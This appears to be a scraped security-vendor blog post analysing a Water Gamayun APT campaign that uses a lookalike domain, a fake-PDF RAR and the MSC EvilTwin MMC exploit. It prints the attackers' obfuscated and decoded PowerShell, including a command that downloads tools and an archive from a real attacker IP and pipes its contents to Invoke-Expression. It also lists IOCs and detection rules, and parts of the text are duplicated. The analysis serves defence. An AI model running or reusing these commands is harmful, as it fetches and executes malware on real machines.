

Water Gamayun APT Multi-Stage Attack Uncovered

 zscaler.com/blogs/security-research/water-gamayun-apt-attack

Suraj Mundalik

November 25, 2025

Technical Analysis

Water Gamayun is a Russia-aligned APT group known for targeting enterprise and government networks with stealthy information-stealing campaigns. Their objectives typically include exfiltration of sensitive data, credential harvesting, and long-term persistence through backdoors and custom RATs. Over the past year, Water Gamayun has refined a portfolio of techniques that blend zero-day exploitation, trusted-binary proxy execution, and layered PowerShell obfuscation to evade modern security stacks.

Zscaler Threat Hunting recently detected a campaign using suspicious double file extension RAR file downloads. We traced this event back to a compromised BELAY Solutions web page that redirected victims to a newly registered lookalike domain. That domain served a RAR archive masquerading as a PDF brochure, triggering the attack foothold.

Phase 1: Search and Redirect

A normal Bing search for “belay” leads to **belaysolutions[.]com**. The website is potentially injected with JavaScript that performs a silent redirect to **belaysolutions[.]link**, which hosts the double-extension archive.

- Bing Search URL: `www[.]bing[.]com/search?q=belay&[TRUNCATED]`
- Masqueraded RAR URL: `belaysolutions[.]link/pdf/hiring_assistant[.]pdf[.]rar`

Phase 2: MSC EvilTwin Exploitation

Opening **Hiring_assistant.pdf.rar** drops an **.msc** file. When run, `mmc.exe` resolves MUI paths that load the malicious snap-in instead of the legitimate one, triggering embedded TaskPad commands with an encoded PowerShell payload.


```
iex ('po we rs he ll -e_C
SQBuAHYAb wBrAGUALQBxAGUAYgBSAGUAcQ_B1AGUAcwB0ACAAALQBVAHIAaQA_gACIAaAB_0AHQAcAA6AC8ALwAxADAAMwAuADIANAA2AC4A_MQA0ADcALg
AxAdcALwBjAEEA SwBrADkAeABuAFQAQgAvAFUAbgBSAEEA UgAuAGUAEAB1ACIAIAAtAE8A_dQB0AEYAAQBsAGUATAAIACQAZQB uAHYAogBUAEUATQBQA
FwAVQBuAFIAQQBBSAC4AZQB4AG_UAIgA7ACAASQBuAHYAbwBrA_GUALQBxAGUAYgBSAGUAcQB1AGUAcwB0ACAA_LQBVAHIAaQAgACIAaAB0AHQ_AcAA6AC8A
LwAxADAAMwAuADIANAA_2AC4AMQA0ADcALgAxAdcALwBjAEEASwBrADkAeABu_AFQAQgAvAGEAcwBfAGkAdA_BfADEAXwBmAHMAZABmAGMAeAAuAHIAyQBy
ACIA IAAtAE8AdQB0AEYAAQBsAG_UAIAAiACQAZQBuAHYAogBUAEUATQB_QAFwAYQBzAF8AaQB0AF8AMQBfAGYAcwBkAGYAYw_B4AC4AcgBhAHIAIgA7ACA
_AYwBtAGQALgBlAHgAZQAgAC8AQwAgACIAJABLAG4A_dgA6AFQARQBNAFAAXABVA_G4AUgBBAFIALgBlAHgAZQAgAHgAIAA_tAHAAawA1AHYAdAB6AHgAZA
BlAEQAgBpAGMA_UgBDAFQAIAtAG8AKwAg_ACQAZQBuAHYAogBUAEUATQBQAFwAYQBzAF8AaQB0AF8A_MQBfAGYAcwBkAGYAYwB4_AC4AcgBhAHIAIAKA
GUAbgB2ADoAVABF_AE0AUAAiADsAIABTAHQAYQByAHQALQBTAG_wAZQBIAHAAIAAtAFMAZ_QBjAG8AbgBkAHMAIAA0ADsAIABHAGUAdAAaEMAbwBu
AHQA_ZQBuAHQAIAAiA_CQAZQBuAHYAogBUAEUATQBQAFwAYQBzAF8AaQB0_AF8AMQBfAGYAcwBkAGYAYwB4AC_4AdAB4AHQAIGAgAHwA_IABpA
GUAeAA_=''.Replace(' ',''))
```

Figure 3. Base64-Encoded PowerShell

Phase 5: Final Payload Execution

ItunesC[.]exe installs backdoors or stealers. We were unable to confirm the precise malware family in this specific instance because the Command and Control (C2) infrastructure was non-responsive.. However, Water Gamayun’s arsenal includes EncryptHub, SilentPrism, DarkWisp, and Rhadamanthys, so it is highly likely that any of these malware could have been installed.

```
Invoke-WebRequest -Uri "http://103.246.147.17/cAKk9xnTB/UnRAR.exe" -OutFile "$env:TEMP\UnRAR.exe"; Invoke-WebRequest -
Uri "http://103.246.147.17/cAKk9xnTB/as_it_1_fsdfcx.rar" -OutFile "$env:TEMP\as_it_1_fsdfcx.rar"; cmd.exe /C
"$env:TEMP\UnRAR.exe x -pk5vtzxdeDzicRCT -o+ $env:TEMP\as_it_1_fsdfcx.rar $env:TEMP"; Start-Sleep -Seconds 4;
Get-Content "$env:TEMP\as_it_1_fsdfcx.txt" | iex
```

Figure 4. Final Decoded PowerShell

Zscaler Blog

Get the latest Zscaler blog updates in your inbox



[Security Research](#)

This blog is intended to share an in-depth analysis of a recent multi-stage attack attributed to the Water Gamayun advanced persistent threat group (APT). Drawing on telemetry, forensic reconstruction, and known threat intelligence, the [Zscaler Threat Hunting](#) team reconstructed how a seemingly innocuous web search led to a sophisticated exploitation of a Windows MMC vulnerability, ultimately delivering hidden PowerShell payloads and final malware loaders.

Key Takeaways

- A compromised legitimate site and a lookalike domain were used in tandem to deliver a double-extension RAR payload disguised as a PDF, abusing user trust.
- The initial payload exploited MSC EvilTwin ([CVE-2025-26633](#)) to inject code into mmc.exe, leveraging TaskPad snap-in commands to kick off a series of hidden PowerShell stages.

- A compromised website, layered obfuscation, password-protected archives, and process-hiding via a small .NET class kept user detection to a minimum while a decoy document was used to preserve the user's perception of a normal interaction.
- Zscaler Threat Hunting attributed the campaign with high confidence to Water Gamayun based on TTPs consistent with public reporting, including their unique exploitation of MSC EvilTwin, signature obfuscation patterns, infrastructure dual-path design, window-hiding tradecraft, and specific social engineering themes

Technical Analysis

Water Gamayun is a Russia-aligned APT group known for targeting enterprise and government networks with stealthy information-stealing campaigns. Their objectives typically include exfiltration of sensitive data, credential harvesting, and long-term persistence through backdoors and custom RATs. Over the past year, Water Gamayun has refined a portfolio of techniques that blend zero-day exploitation, trusted-binary proxy execution, and layered PowerShell obfuscation to evade modern security stacks.

Zscaler Threat Hunting recently detected a campaign using suspicious double file extension RAR file downloads. We traced this event back to a compromised BELAY Solutions web page that redirected victims to a newly registered lookalike domain. That domain served a RAR archive masquerading as a PDF brochure, triggering the attack foothold.

Phase 1: Search and Redirect

A normal Bing search for “belay” leads to **belaysolutions[.]com**. The website is potentially injected with JavaScript that performs a silent redirect to **belaysolutions[.]link**, which hosts the double-extension archive.

- Bing Search URL: `www[.]bing[.]com/search?q=belay&[TRUNCATED]`
- Masqueraded RAR URL: `belaysolutions[.]link/pdf/hiring_assistant[.]pdf[.]rar`

Phase 2: MSC EvilTwin Exploitation

Opening **Hiring_assistant.pdf.rar** drops an **.msc** file. When run, mmc.exe resolves MUI paths that load the malicious snap-in instead of the legitimate one, triggering embedded TaskPad commands with an encoded PowerShell payload.

Figure 3. Base64-Encoded PowerShell

Phase 5: Final Payload Execution

ItunesC[.]exe installs backdoors or stealers. We were unable to confirm the precise malware family in this specific instance because the Command and Control (C2) infrastructure was non-responsive.. However, Water Gamayun’s arsenal includes EncryptHub, SilentPrism, DarkWisp, and Rhadamanthys, so it is highly likely that any of these malware could have been installed.

```
Invoke-WebRequest -Uri "http://103.246.147.17/cAKk9xnTB/UnRAR.exe" -OutFile "$env:TEMP\UnRAR.exe"; Invoke-WebRequest -Uri "http://103.246.147.17/cAKk9xnTB/as_it_1_fsdfcx.rar" -OutFile "$env:TEMP\as_it_1_fsdfcx.rar"; cmd.exe /C "$env:TEMP\UnRAR.exe x -pk5vtzxdeDzicRCT -o+ $env:TEMP\as_it_1_fsdfcx.rar $env:TEMP"; Start-Sleep -Seconds 4; Get-Content "$env:TEMP\as_it_1_fsdfcx.txt" | iex
```

Figure 4. Final Decoded PowerShell

Who is Water Gamayun and What Drives Them?

Water Gamayun has emerged in public reporting throughout 2025 as a sophisticated, likely Russian threat actor specializing in supply-chain and zero-day–driven intrusion campaigns. Their primary motives appear to be:

- Strategic intelligence gathering against organizations of high commercial or geopolitical value
- Credential theft to facilitate further compromise or lateral movement
- Long-term persistence via custom backdoors such as SilentPrism and DarkWisp, and information-stealers like EncryptHub and Rhadamanthys

Their operations often feature:

- Exploitation of novel vulnerabilities, including CVE-2025-26633 for MSC EvilTwin
- Trusted-binary proxy execution, running hidden scripts through mmc.exe or other legitimate Windows binaries
- Complex obfuscation chains, employing nested Base64, UTF-16LE encoding, and runtime string cleanup
- High OPSEC standards, using strong archive passwords, randomized C2 paths, and decoy documents

How Zscaler Threat Hunting Attributed This Campaign

Zscaler Threat Hunting attribution is grounded in multiple converging lines of evidence:

1. **Exploitation of MSC EvilTwin**

The first payload exploited CVE-2025-26633, a weakness in MMC's multilingual path resolution. This exploit vector is rare in the wild and consistently tied to Water Gamayun's malware delivery campaigns.

2. **Signature PowerShell Obfuscation**

The nested Base64 UTF-16LE with underscore-replace obfuscation, followed by Invoke-Expression, is a hallmark seen in publicly documented Water Gamayun scripts. We matched the exact string manipulation patterns documented in prior analyses.

3. **Process-Hiding via Win32 API**

Compiling a minimal .NET class called WinHpXN to call `ShowWindow` and hide console windows aligns directly with previous Water Gamayun tradecraft notes. Zscaler Threat Hunting located identical code snippets in open-source reporting on the group's 2025 campaigns.

4. **Infrastructure Patterns**

All payloads and tools were hosted on a single IP (103[.]246[.]147[.]17) with two randomized path prefixes (`/cAKk9xnTB/` and `/yyC15x4zbjbTd/`), matching the group's dual-path C2 architecture observed in the past campaigns.

5. **Social Engineering Theme**

The "Hiring_assistant.pdf" lure and follow-on "iTunesC" branding match Water Gamayun's history of employment- and consumer-themed decoys.

6. **Password Complexity**

The 21-character alphanumeric archive passwords k5vtzxdeDzicRCT and jkN5yyC15x4zbjbTdUS3y meet the OPSEC profile Water Gamayun is known to apply to evade sandbox automation.

By correlating these technical markers with our telemetry, Zscaler Threat Hunting concluded with high confidence that Water Gamayun orchestrated this MSC EvilTwin-driven campaign.

Zscaler Threat Hunting Coverage

Zscaler Threat Hunting stands at the forefront of proactive threat detection by combining global scale telemetry, advanced analytics, and the expertise of seasoned threat hunters. At the heart of this capability is Zscaler's Zero Trust Exchange, which brokers every user connection to apps and data, providing unmatched visibility into real-time web traffic, SSL flows, and cloud activity. With over 500 billion transactions analyzed daily, Zscaler Threat Hunting harnesses this cloud-scale data to spot subtle behaviors and anomalies that would otherwise go undetected in siloed environments.

Detection does not start with an alert, it starts with a hypothesis. Zscaler Threat Hunting analysts actively hunt for emerging tactics, techniques, and procedures (TTPs) of adversaries like Water Gamayun, guided by threat intelligence, observed tradecraft, and enriched anomaly detection. Analysts look for clues such as masqueraded file extension download, network connections to uncategorized or newly registered domains, and the use of trusted binaries for proxy execution.

[Zscaler Threat Hunting](#) and [Zscaler ThreatLabz](#) work in close partnership to turn threat hunting findings into scalable protection. When the hunting team uncovers a new threat campaign, ThreatLabz provides continuous analysis to operationalize that intelligence into durable, platform-wide security controls where applicable. The indicators discussed in this blog are now part of the platform's detection logic to safeguard customers.

Detection Recommendations

Initial Access & File Delivery

Monitor for rapid archive extraction from user Temp directories followed by immediate process spawning, especially when the parent process is mmc.exe or other administrative tools.

Implement SSL inspection policies to flag lookalike domains against brand reputation databases and identify suspicious redirects from legitimate sites before file download occurs.

Flag double-extension files (**.pdf.rar**, **.txt.exe**) as high-risk and trigger sandbox detonation on delivery.

Encoded PowerShell & Scripting

Detect **-EncodedCommand** flag usage combined with UTF-16LE Base64 encoding patterns that are uncommon in legitimate workflows.

Alert on characteristic underscore-based obfuscation patterns using **.Replace('_', '')** before decoding, a classic Water Gamayun signature.

Monitor for **Invoke-Expression (iex)** execution immediately following Base64 decode operations.

Network & Infrastructure Indicators

Monitor connections from Temp-based processes to external IPs, especially when downloading executable tools and password-protected archives.

Identify network beacons to single IPs with randomized path prefixes (e.g., **/cAKk9xnTB/** and **/yyC15x4zbjbTd/**).

Block or flag outbound connections to IP **103[.]246[.]147[.]17** and similar Water Gamayun infrastructure.

Post-Exploitation Indicators

Alert on **ItunesC.exe** or similar iTunes-branded executables launched multiple times in succession from Temp.

Monitor for beacon callbacks to known Water Gamayun C2 infrastructure or similar patterns from unusual processes.

Indicators of Compromise (IOCs)

Type	Indicator
Files & Hashes	Hiring_assistant.pdf.rar — MD5: ba25573c5629cbc81c717e2810ea5afc
	UnRAR.exe — MD5: f3d83363ea68c707021bde0870121177
	as_it_1_fsdfcx.rar — MD5: 97e4a6cbe8bda4c08c868f7bcf801373
	as_it_1_fsdfcx.txt — MD5: caaaef4cf9cf8e9312da1a2a090f8a2c
	doc.pdf — MD5: f645558e8e7d5e4f728020af6985dd3f
	ItunesC.rar — MD5: e4b6c675f33796b6cf4d930d7ad31f95
Archive Passwords	k5vtzxdeDzicRCT
	jkN5yyC15x4zbjbTdUS3y
Network & Paths	IP: 103.246.147.17
	Paths: /cAKk9xnTB/UnRAR.exe, /cAKk9xnTB/as_it_1_fsdfcx.rar, /cAKk9xnTB/doc.pdf, /yyC15x4zbjbTd/ItunesC.rar

Domains	belaysolutions[.]com (legitimate, potentially compromised)
----------------	--

	belaysolutions[.]link (malicious)
--	-----------------------------------

Conclusion

This campaign underscores Water Gamayun's evolving sophistication that is melding brand trust, zero-day exploitation, and advanced obfuscation to bypass traditional defenses. [Zscaler Threat Hunting's](#) forensic reconstruction and threat intelligence correlate rare exploitation of MSC EvilTwin, signature PowerShell obfuscation, window-hiding code, and dual-path infrastructure to definitively attribute the attack.

Was this post useful?

[Yes, very!](#)[Not really.](#)

Disclaimer: This blog post has been created by Zscaler for informational purposes only and is provided "as is" without any guarantees of accuracy, completeness or reliability. Zscaler assumes no responsibility for any errors or omissions or for any actions taken based on the information provided. Any third-party websites or resources linked in this blog post are provided for convenience only, and Zscaler is not responsible for their content or practices. All content is subject to change without notice. By accessing this blog, you agree to these terms and acknowledge your sole responsibility to verify and use the information as appropriate for your needs.

Explore more Zscaler blogs



Search, Click, Steal: The Hidden Threat of Spoofed Ivanti VPN Client Sites

[Read post](#)



The Unintentional Leak: A glimpse into the attack vectors of APT37

[Read post](#)



Smash PostScript Interpreters Using A Syntax-Aware Fuzzer

[Read post](#)

Get the latest Zscaler blog updates in your inbox

By submitting the form, you are agreeing to our [privacy policy](#).